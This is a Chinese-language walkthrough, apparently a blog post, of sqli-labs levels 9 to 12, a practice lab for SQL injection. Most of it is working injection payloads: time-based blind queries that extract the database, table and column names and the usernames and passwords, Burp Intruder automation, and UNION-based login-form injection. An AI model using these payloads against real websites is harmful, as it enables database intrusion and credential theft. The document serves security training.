sqli-labs通关攻略(9-12关)

时间盲注的原理是利用sleep()函数,根据页面的响应时间来判断我们所输入的代码是否正确

一、Less-9(时间盲注)

1、判断闭合方式

(1)第一次尝试

?id=1 and sleep(3)

页面所需的时间不符合我们所设置的三秒,所以不是这个闭合方式

(2)第二次尝试

?id=1' and sleep(3)--+

页面为我们做出了响应,说明是一个单引号这种闭合方式

2、判断数据库名

既然我们的值了闭合方式,那么下一步就要判断他的数据库名字了,由于我们在页面上得知不到任何信息,所以我们只能根据响应时间去一个一个的判断

这条语句的意思就是如果数据库的长度为一,那么就延时三秒,否则就无任何响应

if(1,2,3)的含义就是,如果1为真,那么就执行2,否则执行3

length的意思是长度

判断数据库名字的长度

(1)第一次尝试

?id=1' and if(length(database())=1,sleep(3),1)--+

页面无响应,那么就尝试2

(2)第二次尝试

?id=1' and if(length(database())=2,sleep(3),1)--+

页面无响应,那么就尝试下一个数字,这里我们直接跳过到8

(3)第八次尝试

?id=1' and if(length(database())=8,sleep(3),1)--+

页面响应了三秒才恢复正常,说明我们的语句是正确的,说明他数据库名字的长度确实为8,那么下一步我们就要判断数据库的名字了

判断数据库名

substr(1,2,3)是截取函数,把1的结果从第二位开始截取,截取三位

?id=1' and if((ascii(substr(database(),1,1))>110),sleep(3),1)--+

这段代码的意思是如果数据库名字的第一个字符所对应的ASCII码值大于110,那么就延时三秒,反之不延时

页面延时了,说明数据库名字的第一个字符大所对应的ASCII码值大于110

以此类推,推出数据库的名字为security

3、判断表名

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>110),sleep(3),1)--+

页面没延时,说明表名字的第一个字符所对应的ASCII码值小于等于110,那么接下来使用二分法以此类推,继续判断,得出所有表的名字为:emails,referers,uagents,users

4、判断字段名

这里我们使用users表

把table换成column,在select语句的后面跟上表名就好了

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>110),sleep(3),1)--+

判断方法也是和上面一样,这里就不过多赘述了

5、判断数据

?id=1' and if((ascii(substr((select username from users limit 0,1),1,1))>110),sleep(3),1)--+

二、Less-10

第十关和第九关是一样的做法,只是闭合方式为双引号

这里我们讲一下利用抓包工具来获取我们想要的信息

1、获取数据库的名字

(1)首先还是要利用语句判断闭合方式

?id=1" and sleep(3) --+

(2)判断好闭合方式之后,就可以抓包了

在浏览器里输入语句,打开代理,打开拦截

?id=1" and if((substr(database(),1,1)='a'),sleep(3),1)--+

(3)输入语句后,回车

(4)ctrl+i发送到intruder模块,攻击类型选择集束炸弹

(5)在我们需要进行测试的位置选中并添加payload位置

(6)切换到payload模块,在payload集1和2里分别添加数值

(7)开始攻击

这样便得到了数据库的名字security

2、判断有哪些表

(1)还是先在浏览器里输入语句,打开代理,打开拦截,回车

?id=1" and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'),sleep(3),1)--+

(2)还是一样的操作,ctrl+i发送到攻击模块,选择集束炸弹,在我们需要进行测试的位置选中并添加payload位置

(3)换到payload模块,在payload集1和2里分别添加数值,开始攻击

这样就得出了我们要查的第一个表emails

在BP工具里直接修改limit的值,改为1,1,开始攻击,这样我们就可以查到第二个表的名字为referers

以此类推,我们查到的所有表为:emails,referers,uagents,users

3、判断表里有哪些字段

和查表一样,只需要把浏览器里的table换成column,并在后面附上你要查到的那张表

?id=1" and if((substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='a'),sleep(3),1)--+

最后查到的字段名为id,username,password

4、判断数据

?id=1" and if((substr((select concat(username,password) from users limit 0,1),1,1)='a'),sleep(3),1)--+

三、Less-11

从第十一关开始,可以发现页面就发生变化了,是一个登录页面

尝试输入数据

输入1

输入1‘

页面告诉了我们信息username和password都是参数,所以我们就在输入框了实现闭合

输入1' or 1=1#

那接下来就和之前的第一关一样了

1、查字段数量

1' order by 5 #

不是5,试试2(这里我已经试出来了就是2,我就不装了)

2、查回显位置

-1' union select 1,2 #

3、查数据库名字

-1' union select 1,database()#

4、查表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

5、查字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

6、查数据

-1' union select 1,group_concat(username,'~',password) from users #

四、Less-12

这一关和上一关是一样的,只是闭合方式不同,这一关的闭合方式为双引号括号

因为我输入单引号的时候没反应,所以就尝试了双引号,在双引号的报错里我看到了括号,所以又尝试了双引号括号,结果成功了,接下来的步骤就还是和上一关一样了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值